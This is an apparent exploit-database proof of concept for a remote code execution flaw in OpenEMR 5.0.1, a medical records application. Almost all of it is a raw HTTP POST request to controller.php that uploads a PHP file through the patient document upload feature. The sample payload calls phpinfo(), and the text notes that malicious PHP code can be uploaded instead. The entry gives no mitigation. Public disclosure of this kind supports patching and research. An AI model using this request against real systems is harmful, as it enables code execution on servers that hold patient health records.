OpenEMR 5.0.1 Remote Code Execution

`# Exploit Title: OpenEMR 5.0.1 - 'controller' Remote Code Execution  
# Date: 2020-06-22  
# Exploit Author: Emre ÖVÜNÇ  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads  
# Version: v5.0.1  
# Tested on: Linux  
  
# Link: https://github.com/EmreOvunc/OpenEMR_Vulnerabilities  
  
# PoC  
  
To exploit vulnerability, someone could use  
'http://[HOST]/controller.php?document&upload&patient_id=00&parent_id=4&'  
post request to upload malicious php codes.  
  
POST /openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&  
HTTP/1.1  
Host: [TARGET]  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0)  
Gecko/20100101 Firefox/79.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://172.16.155.140/openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&  
Content-Type: multipart/form-data;  
boundary=---------------------------141194333536146869123947219434  
Content-Length: 842  
Origin: http://172.16.155.140  
DNT: 1  
Connection: close  
Cookie: OpenEMR=t1lugo5qrbhv7mc2c3q9ricsnl;  
TreeMenuBranchStatus=objTreeMenu_1_node_1_9;  
PHPSESSID=dfhapc4v0bskt7pcpmc2j93agq;  
LS-VQGNEIWNPEBSNBWE=6rm848pgjj78hhecpb9roo8af1;  
YII_CSRF_TOKEN=OWYyM0lybGFtRF9wcHRkZ1lldF9WblhoVHlVNk5HRW3WMnZhghJHNtBjyIuALM94Ww3gltGLoeKETBSfevfbCw%3D%3D  
Upgrade-Insecure-Requests: 1  
  
-----------------------------141194333536146869123947219434  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
64000000  
-----------------------------141194333536146869123947219434  
Content-Disposition: form-data; name="file[]"; filename="shell_info.php"  
Content-Type: text/php  
  
<?php  
phpinfo();  
?>  
-----------------------------141194333536146869123947219434  
Content-Disposition: form-data; name="destination"  
  
  
-----------------------------141194333536146869123947219434  
Content-Disposition: form-data; name="patient_id"  
  
00  
-----------------------------141194333536146869123947219434  
Content-Disposition: form-data; name="category_id"  
  
4  
-----------------------------141194333536146869123947219434  
Content-Disposition: form-data; name="process"  
  
true  
-----------------------------141194333536146869123947219434--  
`